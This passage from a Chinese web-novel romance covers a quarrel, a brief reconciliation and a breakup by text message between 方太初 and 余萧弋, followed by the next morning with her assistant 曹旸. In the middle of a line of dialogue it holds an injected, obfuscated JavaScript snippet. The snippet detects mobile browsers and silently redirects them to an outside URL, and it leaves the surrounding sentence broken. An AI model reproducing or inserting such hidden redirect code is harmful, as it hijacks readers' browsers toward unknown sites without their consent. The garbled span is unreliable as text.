曹旸微怔,而后才仿若叹息一般做了个深呼吸,“小姐,别惹我哭。我已经很多年都没哭了,做我们这行,很忌讳和客人发生感情的。” 不知怎么,这句话在这里很有一种冷幽默的效果。 话音一落,两人就都笑了。 气氛忽然就平和下来。 “你爱他。”曹旸笃定地看她一眼,“你不信他,甚至不信你自己,也务必要信我,因为旁观者清。为了回来见他,你这搞出多大的阵仗啊,方总刚刚还打我电话问你情况呢,更不要说这一路上你拖着这么个身体为他流了多少眼泪,怎么医院见了一面,就变天了?发生什么我不知道的事了?跟余珺彦有关?” 小初讶异于她的敏锐和聪明,眼睫骤然一颤。 “刚在医院我碰上余珺彦了,他还跟我打了招呼,喊了声曹小姐。我看见他嘴角有点青,看着是跟谁发生了冲突。凭他这个身份,整个港岛敢跟他动手的人不多吧?小余总打的对不对?事关你。” 小初一颗心狂跳,“你怎么知道?” 曹旸挑了挑眉,“职业敏感。”然后才语重心长地说:“通过这几次的接触,关于他是什么人,相信你我心里都有数吧?要不然,你怎么会从始至终对他怀着那么重的戒备心?有些人,不一定是什么坏人,但是因为成长过程中吸收了太多负面的东西,就会变得比较阴暗和扭曲,为了抚平自己的创伤,恨不能拉所有人跟他共沉沦,这样,他就不是那个唯一见不得光的了。” 小初说不出话了。 “别被这样的人影响到。”曹旸叹口气,“说实话,你要是跟我互换人生,我脑子里的记忆涌上来那一秒,你就得崩溃。可是除了让自己的心脏强大一点,我们还能做什么呢,毕竟现实世界就这样的。” 曹旸看了看走廊尽头惨白的廊灯,“不是我维护和支持小余总,而是我看得出他对你的感情丝毫不输于你对他,而且,他有能力保护你,永远都接触不到那些人间至暗。我说话比较直接你别介意,方先生和方太太总有一天会老的,你总要给自己找一个和你心意相通,志趣相投的人互相珍惜着走完这一生吧?不然,真的太难熬了,我才不到三十岁,已经快熬不住了,只想快点结婚,结束异地恋,无论做什么,只要两个人好好在一起,都好。” 小初心头微动,点点头。 曹旸推门,把砂锅放在几道精致的小菜中间,说了句“Have a good night”就大步退了出去,将独处的空间留给了他们二人。 令小初意外的是,余萧弋并没有在餐厅或者客厅等她,而是自顾自在厨房里忙碌着什么,黑色卫衣的袖子挽到手肘,很放松,也很居家。 因为是背影,又隔着玻璃门,她看不清他手臂上的伤口,只看见他的肩膀真的很宽,有种很蓬勃的少年气,又莫名让人觉得温柔和安全。 仔细想想,他也才不到二十二岁,若不是生在这样的人家,或许还活得很肆意。 小初想起车上余韬韬说过的话,一阵难过。 不知是不是感受到了她目光的力量,他突然回过头来,下一秒就拉开了玻璃门,整个人闲闲倚在了门边,与她四目相对。 小初这才注意到,相比缠着纱布的右手手腕,他的左侧手臂其实更加触目惊心,上面细细碎碎都是擦伤和切割伤的伤口,有深有浅,但最深的也没到需要包扎的程度,所以就那么裸露在了空气中。 她立刻不动声色地别开了眼睛,生怕再多看一秒,她的情绪就要受控制地流露出来了。 “回来了?”他弯起眼角,一副这个家的男主人姿态,“洗手吃饭。” 小初呼吸一滞,眼神一点点变得深邃而沉静,他这个耍无赖的功夫,怎么越来越炉火纯青了? “你干嘛呢?”她开口之前先在心底预演了一遍,以确定自己的语气不带有任何暧昧的情感,“谁让你进厨房的?” 余萧弋迅速抓住了什么,脸上的惊喜之色如同小石子骤然投入一潭春水,荡漾起一圈又一圈的涟漪,“怎样,你是在关心我?” “我是在关心我的厨房。”小初做了个深呼吸,努力克制着自己,“我这边从来不开火,冰箱里都只有水果和牛奶饮料,也不知道这个天然气管道有没有安全隐患,你是不是应该事先问我一声?我去你家,可没你这么随便。” “小姐。”余萧弋的眼尾闪过一丝难以置信,“我用的是电磁炉。” “……”小初偏了偏头,视线越过他落在灶台上,下一秒就倏然收回,转移了话题,“所以你在煮什么?” “柠乐姜茶,驱寒的。” 小初瞪他一眼,“我最讨厌……” 他和她几乎同时开口,“知道你讨厌生姜,一会儿帮你捡出来。可乐和柠檬的味道会中和掉姜的辣味,总体喝起来是酸酸甜甜的。” 小初无可无不可的,“随你的便吧。”说完,转身就走。 “等下。”余萧弋捉住她的手腕,声音带着一丝掩饰不住的慌张,“你干什么去?” 小初有些无奈,“我去换衣服可以吗哥哥,你没看见我穿着这么厚一毛衣都快难受死了吗?谁想到你们这一点没被大陆的冷空气影响?” 一声哥哥迅速让余萧弋的笑容蔓延开来,“我们这个破地方是这样的,没有你们北京十分之一好。” 话音一落,小初的神情就怔在了脸上。 很多往事无名浪潮一般涌进回忆,将她的情绪彻底搅成一片浑浊。 镜头一转,时空已经变换,她披着被子站在学生宿舍的床上,而他正缓步上前,准备帮她摘掉头发上最后一只飞蚁。 不知不觉之间,他们竟然已经一起经历了这么多。 他的掌心炙热得吓人,一时间也分不清他们两个究竟谁在发烧,小初恐怕再多待一会儿,自己的意志力就要被融化在他琥珀色的瞳仁里了,想收回手,却被他死死固定着,动弹不得,她终于被惹急,眼底泛起不耐烦的情绪,“我说我要换衣服去了。” “知道。”他俯身过来,猝不及防用唇在她额头上印了印,“好像不发烧了,是吗?” “不准亲我!”小初下意识就推了他一把,“再不经允许亲我一次试试?” 余萧弋露出个痛苦的表情,手上松了力道,脸色骤然变得苍白,半个字说不出来了,只是咳,咳得似乎把小初肺里的空气也咳走了。 小初慌极了,“你怎么了Theo余?是不是在跟我装?” “是。”他极力克制住咳嗽,唇角勾起一个好看的弧度,“不这样,怎么赢得你的怜惜呢。” “……” “去换衣服去吧。”他朝她挥了挥手,“一会儿我的锅要烧干了。” 小初抿抿唇,最后还是转了身。 回到卧室,将门落锁。 衣柜里一整排是黄亦玫上次来港时候帮她买的衣服,艺术家的眼光自然毋庸置疑,但眼下却每一件都显得那么不合时宜。 衣摆可以推上去的No,领口容易敞开的No,睡衣?更是No No,太柔软太暧昧了,完全撑不起她分手的决心。 最后,她终于在衣柜角落里找到一条无懈可击的黑色无袖连身短裤来,虽是短裤,形状却像个花苞,一点都不会过分彰显她的身材。 最绝妙的是,它的材质也很硬挺,因此穿在身上更像是一身铠甲,将她所有的脆弱和犹豫都包裹得严严实实,连拉链都隐藏在腋下,如果不仔细看,根本就找不到她的情绪漏洞。 上午拍广告时候的妆除了假睫毛都还带在脸上,也不知道那个化妆师用的什么定妆产品,这一整天,她很怀疑她流了一公升的眼泪不止,可这会儿妆面竟然还没变斑驳和模糊,仍旧柔雾感十足。 又或许是,粉底液早被她的眼泪冲刷干净了?现在她看见的就是她本来的皮肤? 小初不确定,用力用指腹戳了戳脸,也没看出个所以然来,索性她也不去多想了,对着镜子仔细卸了妆又洗了脸。 皮肤终于可以顺畅呼吸了。 再次推门出去的时候,头发已经被她随意在后脑挽了个丸子。 她的头很圆,发际线处的绒毛明显,这么把额头和鬓角露出来,也没有任何放大焦距的感觉,反而显得她的脸更小眼睛更大了。 幸而她身高足够高,即便如此也没有任何幼态感,反而多了几分清冷和难以接近。 正是她要的。 余萧弋已经在餐桌边等着她。 不知是不是等了太久,他看着有些百无聊赖,正一边用左手托着腮一边用右手食指在桌面上沾着水胡乱涂抹着什么,她的声音一出现,他就停下了所有动作,倏地抬眸过来,一双眼睛像秋天的湖,倒映着天空,清澈又深远。 她好像看见他微不可察地挑了挑眉。 但她不确定。 “干嘛?”小初的眸子闪过一丝不自然,并迅速低头看了自己一眼,直至确认自己没有任何不得体地地方,才再次目光锐利地看向他,“再看我,把你眼睛挖掉。” 余萧弋叹口气,有些无奈:“小姐,这里就你和我,我不看你看谁?我跟你说话却不看你,更不尊重人吧?” 小初冷哼一声,大步朝他走过去,“你们姓余的还懂尊重二字怎么写呢?” “……”余萧弋咬了咬唇。 表情要多可怜有多可怜,呼吸却不自觉地灼热起来。 小初在他对面坐下。 余萧弋控制着将视线移开,从砂锅里盛了碗粥递到她面前,解释道:“阿姨说,本来她是想炖汤的,后面还是改成了生滚粥。时间很晚了,你别吃太多,免得胃难受。” 小初敏锐捕捉到了他脸上那丝可疑的红,对他的话未置可否,眉毛却拧了起来,“你脸红什么?” “可能是房间里太热了。”余萧弋不和她对视,只是把衣袖更往上挽了一寸。 小初凶巴巴地瞪他一眼,脑子里全是他在医院的床上对她为所欲为的可恶模样,并不打算接受他这个托词。 余萧弋给自己也盛了一碗,然后才不经意说道:“这件衣服很衬你。” 小初眯了眯眸子,“什么意思。” 她明明已经穿得这么无懈可击,竟然还能勾起他脑子里那些不要脸的想法? “就……”余萧弋轻咳一声,眼神飘了飘,“看着腿很长,不仅腿长,整个人都窄窄的一条,像从漫画里走出来的一样。” ——和那条吊带袜很适配。 当然,他是死也不敢这么说的,尤其今天。 “我腿长是因为衣服吗?”小初送了他一个白眼。 “当然不是。” 小初懒得理他,只说,“你不是饿了吗?饿了就快吃,吃完赶紧走,别耽误我休息。” 说完这句话,她就把目光落在了碗里晶莹剔透的米粒上,再没有抬头。 一顿饭吃得极为压抑。 偶尔,空气里会传来余萧弋几声极轻的咳嗽。 他每咳一声,她的心弦就跟着一紧。 就算再怎么刻意表现冷漠,却还是欺骗不了自己的感情。 好几次,她都差点没按捺住想关心他,抚慰他的念头,但好在最后还是忍住了。 不能心软,她在心里告诫自己。 否则,他就永远认识不到自己的错误,下次再发生类似的事,还会不顾危险地冲上去。 这种拼概率的事,哪有百分百? 曹旸还说什么让她找一个心意相通志趣相投的人好好走完这一生,他这么疯,连自爱都做不到,又拿什么来爱她,给她完整的一生? 一个在爱情里面失控的男人有多可怕,会让两个人的关系有多失衡,她爸十几年前就已经给了示范,她不想他们重复她父母的旧路,这次就必须足够狠心。 小初胃里的饭团还没有消化,因此并不怎么饿,所以只吃了大半碗粥。 余萧弋倒是吃得斯文而缓慢,尽管落在小初眼中难免有故意拖延时间的嫌疑,但好在,最后他还是吃完了。 确切地说,是吃不下了,如果可以,她无比相信他会继续坐在这里和她多耗上一个小时。 但凡事都有必须结束的时候,就算在这坐到地老天荒,又能怎么样呢? 放下碗筷,两人同时站起身来,余萧弋的声音有些消沉,但还是主动提出由他来洗碗。 “不必了。”小初勾起一个没有温度的微笑,“怎么好叫客人动手干活,更何况你身上还有伤,要是不小心把你的手腕上的纱布弄湿了,我罪过就大了。” 余萧弋愣住。 小初看了看手表,不客气地下了逐客令,“时间不早了,你回去吧。我今天实在累,真没精力应付你。马上就是考试周,我还有很多东西要复习和准备。拜托你,给我一点个人空间。” “好。”他笑笑,眼底却一点点红下去,“谢谢你的招待。” 小初也笑:“不客气,大家以后也还是朋友。” “朋友?”余萧弋身形一晃,险些没站稳,“你的意思是?” “就是你想的那个意思。” 小初把碗筷收拾进厨房的水槽里,回过头,他竟还怔怔地站在那。 她不知怎么就烦躁起来,冷冷道:“Theo余,如果没记错我们在医院的时候就已经说清楚了吧?最后还是你让我走的,你现在这副样子又是给谁看?大家都是成年人了,洒脱一点可以吗?只是谈个恋爱,又不代表什么,你何必呢?” “只是谈个恋爱?”余萧弋的胸口压抑至极,伤口的痛游丝一般到处乱窜,到最后,他也说不清到底是哪里痛了。 “不然呢?”小初极力控制着情绪,“别说谈个恋爱,就算结婚谁又能保证不离婚,大家理念不合分开很正常。现代社会了,没有谁真的离不开谁。” 他将唇线抿成一条,“我没想过离婚,我理想中的婚姻就是像我父母那样,认定某人就是一辈子。他们能过得很幸福,那我们也能。” 小初狠狠用指甲掐着掌心,才勉强控制自己没有哭出来,“那你很幸运。如果没记错,我应该告诉过你我父母离过婚吧?我们这种家庭长大的孩子通常对婚姻都不会持有太乐观的态度。你应该一早就想到的不是吗?不过,现在也不算晚。” 余萧弋即刻解释:“我没有影射你父母婚姻的意思。” 小初摆摆手,“无所谓,就算影射我也不会往心里去。” “所以你就打算这么放弃这段感情了吗?”余萧弋直直看向她,“说得这么轻松,你打算花多长时间忘记我?” “我怎么知道。”小初耸耸肩,“我又还没去试。” “怎么试?”余萧弋气急,忽然向前一步,手指掐住她的下巴,“像忘记叶子瑜那样忘记我吗?我余萧弋只是你短暂解渴用的酸梅汁,是吗?” “余萧弋,你给我放尊重点!”小初退后一步,从他的桎梏中解脱,口不择言道:“就算是又如何!这样的酸梅汁,我想要,可以有一打。” “好。”余萧弋忽而笑出来。 只是眸底依旧猩红。 小初扬起下巴,“当初是你说的用你全部赌我半点心的,那就愿赌服输好了,你不会这么输不起吧?” “只是你是不是得告诉我为什么?如果我知道你这半点心是铁做的……”他哽住声音,缓了半晌才勉强恢复正常,“我为你付出这么多,就没有一点令你感动的地方吗?就因为余珺彦这件事,我没有事先跟你坦诚,你就要否定我所有吗?” 小初尝到了铁锈味,她不确定是不是自己咬到了舌尖。 “我能理解,但这并不代表,我可以原谅。”小初的情绪忽然爆发,“仔仔生日的那一晚,你一定难过和绝望极了吧?” 不然,那么矜持克制的一个人,怎么会当着那么多人的面把自己喝到大醉? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17013711|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面如果我没有回去找你,你是准备在酒店卫生间的地上度过一整夜吗?” 余萧弋一字一顿的,“方太初,你没资格跟我提那一夜。因为你已经将我们之间一切都否定了。” 小初不敢相信自己听到了什么,眼底逐渐蔓出水泽,“我没资格?那晚最后疼的人是谁啊?” 余萧弋不说话了。 小初气息不稳,手指用力抓在椅背上,“是不是只有那一刻,你才彻底相信我?在那之前,余珺彦给你看那些照片的时候,你敢说你对我的信任没有过一点动摇吗?” “我没有!”余萧弋感觉自己长这么大就没受过这么大的委屈,脑子里逻辑全部混乱了。 “没有,为什么不敢坦诚?余萧弋,你在怕什么?” 他答:“我在怕什么,你不是应该很清楚了吗?” 小初抿唇,“不,我不清楚。” “就是怕你像现在这样怀疑世界,怕你难过怕你伤心,很难理解吗?我可以保护你的方太初,你为什么就不能相信我?如果今天,你没有提前回来,这一切是不是就都不是问题了?” 小初难以置信,“你在怪我提前回来?” 余萧弋的气焰熄灭下去,“我不是那个意思。” “那你什么意思?我的一颗心都快被你扯碎了,你现在还来怪我?” 小初终于还是没有压制住身体内汹涌的情感,“你说你保护我,最后你保护成了吗?如果以后我们结婚了,你也要打着保护我的旗号,一遇上事就先选择骗我吗?” “结婚?”余萧弋像冬天的野草嗅到春的味道,忽然开始迎风招展,“你想过我们结婚?” 小初瞪大眼,“我这句话的重点在这吗?” “那就结婚。”他向前一步,将她搂入怀中,整个人都变得柔软,“我知道错了,以后不敢了,你就原谅我这一次吧。” 小初不知道事情是怎么发展到这一步的,愣了一会儿神才反应过来,剧烈挣扎到,“你能不能不要每次事情还没解决就总想着亲和抱啊,把你脑子里那些龌龊的想法先压制一下可以吗?” “哪里龌龊了,这明明是爱意。”余萧弋将下巴枕到她的颈窝上,声音脆弱下来,“Babe,你别挣扎好不好,我疼。” 小初一听果然不敢动了,但不耽误她语气依旧硬硬的,“哪里疼?” 他的呼吸在她耳边若有似无,“胸口,手臂,大腿,都疼,你要看看吗?” “谁要看……”小初不敢抬头看他的脸,只能把视线落在他的喉结上,“余萧弋,你不觉得男女之间爱得太深刻也是一种负累,会消耗掉人太多可以用在别的更有意义的事上面的精力吗?” “不觉得,没有你,其他一切有什么意义?” 小初的意志力瞬间软弱下来。 这句话从他口中说出怎么如此令人动容,是因为他真的拥有一切吗? 余萧弋牵着她的手将自己衣服的下摆一寸寸撩起来,让胸口那个淤青彻底映入她眼帘,“医生说了,运气再差一点点,胸骨就会碎掉。Babe,我知道你是因为担心我才这么生气的,你真以为我什么都不懂?” 小初的视线从他的人鱼线缓缓滑到胸口,已经心疼到说不出话来,眼泪不听话地一直一直涌上来,声音断断续续的,“谁……要,担心你。” “你。”余萧弋将她的掌心覆在自己心脏的位置,“感受到它的跳动了吗?别说分手,算我求你。” 同频共振让小初的脉搏逐渐乱了节奏。 越来越快。 到最后也不知道到底是谁在引导谁了。 “今天为什么去余宅?”余萧弋的声音很轻,似乎带着某种蛊惑。 “为了把我的感冒传染给所有人,将你们一网打尽。” “别那么言不由衷。”余萧弋忽而展颜,将她整个压入怀中,缓缓亲下来,“那就从我开始吧,是不是这样传染速度最快?” 小初最后都没搞明白,剑拔弩张的气氛是从哪句话开始土崩瓦解的。 “Babe,我出现在那架飞机上,纯属意外,我用我的人格保证。” 亲吻让两个人的身体和精神都放松下来,小初累极了,已经分辨不出到底是他的声音还是动作带着一种令人心颤的温柔,只想昏昏睡去。 “你有什么人格?”她的声音闷闷的。 余萧弋想了想,“那我用你的人格好了。” 小初已经决定破罐子破摔,“我感觉我也没有了,被你传染的。” 余萧弋笑出声来。 “你走吧,我困了。” “?”余萧弋的笑容一秒就凝在了脸上,“你不能总这样,方太初,就不能对我好点吗?” 小初从他怀里直起身,清亮的皮肤下一片淡淡的红,“你怎么不说你每次就只会用亲和抱的方式解决问题?你怎么总这样?” 余萧弋蹙了蹙眉,“我不是在跟你沟通吗?” “可我现在不清醒,你却在试图蒙混过关。” “我没有!” 小初笑笑,“你敢否认吗余萧弋?归根结底,还不是因为你从骨子里就不相信我真的爱你,所以很多事才不敢坦诚。” 余萧弋愣住。 半晌,空气都是静的。 “那你呢?”他淡笑,“你和余珺彦之间那些事选择不对我坦诚的初衷是什么?” 小初的心像被绑了石头,逐渐沉入身体深处。 他果然还是在意。 从未释怀。 “因为我内心坦荡。” “哦。”余萧弋的指腹不自觉摩挲着衣摆,“你不说,就是因为坦荡,我不说,就是因为不信任你,是吗?” 小初被噎住。 感冒果然会让思维滞涩。 “为什么偏偏是他。”余萧弋的呼吸节奏逐渐混乱,“你知不知道,他小时候偷走过我最心爱的猫?” “?”小初一时没反应过来,“他还虐猫?” “没,比那个好点,他把它好好养大了。” 小初实在难以置信,“他变态吗?” 余萧弋摇摇头,“我猜不透他心理。整个故事中,猫和他都得到了Happy Ending,受到伤害的只有我。” “余萧弋,我不是你的猫。” “我知道。” “我有思想,有自主性,知道自己要什么又喜欢谁,不会轻易被谁左右。你到底在怕什么?” “是。”余萧弋向后,靠在厨房的玻璃门上,语气逐渐认真,“我害怕。方太初,遇到你之前,我从没体会过患得患失的滋味。可不知为什么,我总感觉,你在我身边,又好像没在我身边,你的眼睛里有我,却又不全是我。你还有你的家人,朋友,你的生活和理想,我只是其中最可有可无的部分,且替代性极强。对别人而言,我的智商,金钱,样貌,或许还都是加分项,可这些对你方小姐,又算得了什么呢?你能喜欢叶子瑜,并一腔热忱向他奔赴而来,就说明你对很多东西都看得极淡,而你不在意的部分,恰恰却是我唯一拿得出手的,这样的局面,你要我怎么对我自己有信心?你刚刚也说了,我这样的酸梅汁,你可以有一打。” “不是的。”小初想解释,却又不知该从何解释起。 “你爸妈也不喜欢我。”无力感袭来,余萧弋的脊背渐渐塌下来。 “你坐过来。”小初走上前去拉过他的手,将他按坐在椅子上,身心也疲惫到了极致,“他们没有不喜欢你,他们接受不了的是我谈恋爱这件事本身,跟对方是谁关系不大。再说,他们不是已经接受你了吗,你仔细想想曹旸的态度。” 余萧弋的眼睛逐渐泛起红来,“你别哄我。” “我哄你干什么!不然我现在问给你看?” 小初拿过手机,打开微信,正准备点进他们三口人那个聊天群,一条不知道什么时候发过来,却又实实在在这会儿才跳出来的好友验证刚好映入眼帘。 【方小姐,我是赵承钰,方总让我加你的,以后请多指教。】 “……”小初手指僵住,连头都不敢抬了。 她十分确定旁边的余萧弋什么都看到了。 偏偏,这家伙的头像还是他本人,和大合影里身体语言偏向她的那张脸高度重合。 “你别误会。”小初暗骂了一句命运,可怜兮兮地抬起头,“亦方和航天局有个项目,他是负责人之一。我爸让他加我,无非是为了方便工作沟通。” 余萧弋笑笑,转身进了厨房。 几分钟后。 一碗刚热过的柠乐姜茶就放在了餐桌上。 小初垂眸,发现里面不仅姜丝被挑出去了,连颗柠檬籽都无。 她的心脏猛然一抽。 “喝完早点睡,我先回去了。” 余萧弋将袖子放下来,遮住伤口,“晚安。” 99.第 99 章 他执意要走,小初也没法开口挽留。 毕竟人家没走之前她就已经下过几道逐客令,现在突然反悔,难免显得她矫情,好像之前的生气不是认真的,而是在跟他调情似的。 于是只能眼睁睁看着他出了门。 代入他的视角,她也没办法原谅她的绝情。 人家为她受了这么一身伤,大半夜跑她楼下守着,又是陪吃饭又是下厨房煮茶的,姿态放得这么低,结果还是捂不热她这颗冷冰冰的心,这换成谁,能不心灰意冷。 门一关,她感觉自己也跟着空了一块。 具体是哪里空,她又说不上,只觉得情绪一直顺着那个缺口往上涌,酸涩到令人难忍。 走廊里的脚步声很快消失,她想到什么,立刻跑到阳台。自尊心作祟,又不想他发现,她只能将整个客厅都关了灯。 找到他的车并没有耗费她什么力气,大概三分钟后,他的人也从入户大厅走了出来,不知是不是她错觉,他的脚步看上去极为沉重和僵硬,不像是在走动,倒像是被一种什么力量在向前拖行。 魂被抽走了一样。 眼泪几乎一秒就流了下来,想大声喊他的名字的冲动怎么也抑制不住,冲动到她脑子里几乎就只剩下一个念头,奔下楼去,用她全部抱紧他,无论如何都要把他哄回来。 至于其他的,余韬韬把他们的恋情曝光给媒体,究竟是像他说的单纯是为了推进他们的感情,还是别有用心……以及她和亦方究竟在他们家这场内斗中扮演了什么角色,有没有被人当成利益争夺的筹码,她全部可以不去深思。 毕竟,她的家世本就是她的一部分,换个恋爱对象,就一定纯粹吗? 百分之九十九,只会有过之而无不及。 她向来清醒,早就预知她的婚姻不会比普通人顺利。 她当然不是一定要结婚,但他这么这么好,又高智,又好看,成熟温柔还有钱,既然碰上了,她凭什么要拒绝。 错过他,她哪还去找另一个愿意为她的喜乐安宁连命都可以不要的傻瓜? 命运的盒子不会每次都有幸运降临的。她如此爱他,就给他一点支持又怎么样?她根本不在乎。否则,她今晚也不会去余宅。 只是,他这么聪明,怎么就看不出她在自责? 自责她错过了先坦诚的机会,在余珺彦受伤进医院的那晚,没有第一时间打电话给他? 之所以没那么做,说到底,还不是因为他们是一样的人,思维逻辑太相通,总想自己承担一切,保护对方不受伤吗? 小初张了张嘴,正想发出声音,偏这会儿,也不知出于什么,余萧弋竟突然抬起头往她的方向看了一眼。 她吓一跳,本能就把自己藏进了窗帘里,虽然知道隔了这么远,她这边光线又暗,他即使看,也未必能看见她在看他,但她还是一阵莫名心虚,冲动和勇气忽的一下,就融进了无声的月光里,消失得无影无踪。 等她缓过神来,他已经将自己塞进了驾驶位,汽车尾灯很快闪亮起来,没一会儿,就渐渐远去,汇入了城市的夜景里。 小初的脊背渐渐塌下去。 人也跌进了阳台的藤椅里。 眼泪还没停,因此视线很模糊,但不耽误她马上给他发了条信息过去:【路上慢点开,回去早点睡。】 他没有立刻回过来,而是隔了几分钟,小初猜他正在路口等红灯。 【明明我一出门方小姐你就迫不及待关灯准备睡觉了,这会儿发这些又是何意?让你失望了,我余萧弋还没有沦落到需要别人虚假的爱意和关心的地步,分手的事我会认真考虑,对于这段时间给你造成的困扰和伤害,我正式道歉。】 【多谢你,陪我度过了这么温柔的一段岁月,虽然很短,却也足够回味此生了。像你说的,以后我们也还是朋友,再来香港,有什么需要我余某人帮忙的地方,你尽管开口,我一定尽心尽力。】 他在说什么? 小初不敢相信,用力揉了揉眼睛。 也没有感觉自己有多么备受打击,但指尖还是不受控地一直在颤,牙齿也是。 直至将这条长长信息完完整整读了三遍,她一片空白的大脑才提取出有效信息,他的意思是,他同意分手了? 【你误会我了。】小初突然重重地咳嗽了起来,肺泡里氧气尽失,她感觉再咳下去自己就要窒息了。 【我是误会你了,误会了你总有一天会像我喜欢你一样喜欢我,是我的问题。一直没跟你说,我这人其实挺自负的,从来没有怀疑过自己的眼光和魅力,谢谢方小姐你给我上了一课,教会我做人还是不要太一厢情愿,自欺欺人。】 【你爸妈不喜欢我,从来都没喜欢过,所以即便今天接受了,大概率也是因为心疼你,不想你在中间为难。你也一样,选择和我在一起,只是恰好我出现在那个节点,你情感上最脆弱和空虚的时候。我不想再要勉强的东西,我也有我的骄傲和自尊,望你理解。】 不小心咬到舌尖,小初再次尝到了血腥的味道,眼泪不停不停地流下来,他很少给她发这么长又这么正经的文字,她阅读理解能力向来好,所以很快从字里行间感受到了他分手的决心。 这一刻,她才终于感受到她每次和他说那些决绝的话的时候,他的心有多疼。 情侣间吵架就像互相不停地拿刀刺对方的软肋,总有一天会让彼此遍体鳞伤,疲惫至极的。 她和他终于走到了这一步。 她了解他性格,若不是经过深思熟虑,他是绝不会对她说出这些话的。 或许,她仔细想了想,他今晚来,就是想再给彼此最后一次机会的。 但事情还是没有朝他所期待的那个方向发展。 他累了。 不想再纠缠下去了。 既然如此,她当然应该放过他。 算了。 反正她也马上离开这里,异地恋这种狗都不碰的东西,她也没有一定要碰的理由。 况且,人家话已至此,她再多说除了显得她脑袋不太灵光,说话做事太喜欢出尔反尔以外又有什么意思? 【好,有空大家再一块吃茶。】 发完这句,她就进卫生间打开了花洒。 虽然身体和精神都到了崩溃的边缘,但她还是硬撑着简单冲了个澡。 沐浴露抹到胸口的时候,下午在医院时他掌心的触感蓦地涌进记忆,她怔了神,第一次认真用他的力度感受了一下彼此间最后的暧昧和缠绵。 可她发育得太好,她的手又比他小太多,竟怎么都无法复制他那种掌控感十足又略带野蛮的温柔。 眼泪就是在这个决堤的。 尽管很荒谬。 再次推开卧室的门已经是一个小时后,接近凌晨一点半。 要不是下午在飞机上睡了一路,她现在最担心的就该是她会不会猝死了。 男女恋爱如此耗费心神,竟还有这么多人趋之若鹜,造物主果然冷漠又残忍,为了游戏能进行下去,简直无所不用其极。 打开手机,刚刚去卫生间之前没有退出的对话框就又跳出余萧弋几条信息来。 她本不想看,可眼睛根本不受控制,最后还是咬着唇一条一条看完了。 【分手二字由我说出来,你是不是松了一口气?】 【港港你打算怎么办?】 【你的药在餐桌上,别忘了吃。】 【体温又测了一次没有,还发烧吗?】 她感觉自己困过了头,又开始精神了起来。 也或许,是大脑在不正常放电,但她不确定具体原因。 擦干头发将自己埋进被子里,她才逐条回复他。 【是,多谢你的体谅,由你说出的确让我心理负担减轻很多。】 【港港的事我要好好想想再答复你。】 【药已经吃了,晚安。】 【不发烧了。】 这一次,没过十秒钟,屏幕上就显示对方正在输入中。 小初抹了抹酸胀的眼角,还以为自己看错了。 他家离她这也不算远,按说他早该上床了,怎么这会还没睡。 【好好想想?想什么?当初把她抱回来的时候我们就说好的,分手抚养权归你。】 小初抿抿唇,因为不再是女朋友,态度比平时要好很多,【虽然如此,但港港一直都跟着你生活,我怕生活环境的骤变会对她的心理产生不好的影响。再说她和小Enzo也熟了,狗狗的心理健康我们也要纳入考虑,不能只自私地按大人的想法来。】 对方似是很生气,【方小姐是不想负责任?】 小初深呼吸了几秒才让自己冷静下来,【这才是负责任的表现好不好?你又没在父母之间做过选择,在这方面我比较有发言权。】 那边因她这句话沉默了一会儿。 然后,屏幕上就跳了一张照片出来,照片里的狗和兔子正依偎在一起睡得香甜。 小初的心蓦地刺痛。 余萧弋说,【或许你说的也有道理。】 【就是有道理啊,你以为我胡诌?】 他露出一个没有温度的笑脸,就是通常被大家认为是嘲讽的那个表情,【那就两小只你都带走好了,反正我马上要去美国,到时候也只能把他们丢在国内。】 【你舍得的话,也可以。等过几天我考完试,你就把他们送过来,我看看我这边到底会收拾出来多少东西,再决定带他们回北京的交通方式。】 余萧弋马上问,【你要退租吗?】 【当然。】小初不明白他为什么这么问,【以后又不会回来住,还留在这里干什么?阿姨和曹旸都会跟着我一块走。】 那边不说话了。 就在小初都已经准备睡了的时候,他才又发过来一条,【方太初,你那条抛物线,到哪了?】 “……”小初扯过被子将眼泪抹在上面,分手会很痛她早有预料,她现在只想两人都能顺利平稳地度过这个时期,短则一两个月,长则半年一年,总会好的。 但,他总时不时还来这么个回旋镖是要干什么?他们只是分个手而已,他这是非要治她于死地不可吗? 【正以无限平行纵坐标的方向一路高速向下,具体到哪了,不知道,反正不会和你再有交点,请你放心。】 发完这条,她又补充了一句,【我累了,不要再回了,晚安。】 将手机塞进枕头底下,她立刻翻过身去,闭上了眼睛。 手机终于没有再震动。 一整晚大脑都空白又麻木,最后连她自己也分不清她到底是梦是醒了,好多画面过电影似的在意识里循环播放,比如她的手绝望地按在他的心脏上,而他胸腔里的血却汩汩不停之类。 竟然还是个惊悚片。 第二天早晨要不是曹旸过来叫她起床吃饭,她很怀疑她会一直陷在这个循环里出不来。 实在没什么胃口和心情,但她也知道这么一直窝在床上不行,还是挣扎着下了地。 曹旸很有分寸,只轻轻在外面敲了敲门,就退到了客厅。 小初推门而出,身上穿着条白色到脚踝的纯棉睡裙,连拖鞋都忘了穿。 曹旸被她头发蓬乱双目浮肿的样子吓得不轻,半晌才小心翼翼地问道:“这是……怎么了?” 哭了一夜? 还是……被折腾了一夜? 这个余萧弋,明知道她生病了还这么对她,还是人吗?曹旸的眸光冷了下来。 小初不答,只问:“几点了曹旸姐。” 嗓子痛得像被揉碎的纸,嘶哑得厉害。 “中午十一点。” “什么?”小初很少睡到这么迟,一时竟无言以对。 这个破恋爱,竟然连她的生物钟都不放过。 “阿姨午饭都准备好了,不然我也不会过来喊你。”曹旸又仔细观察了一下她脸色,才不经意朝卧室方向看了看,“小余总还没起来吗?” “他?”小初的大脑还没有接受两人已经分手的现实,一阵恍惚,“他昨晚就回去了,没在这住。” “哦。”曹旸似乎明白了什么,但她也不好再多问,只是指了指小初鬓边的头发,“这里怎么白了?” “别吓我曹旸姐!”小初瞪大眼,立刻向卫生间跑去。 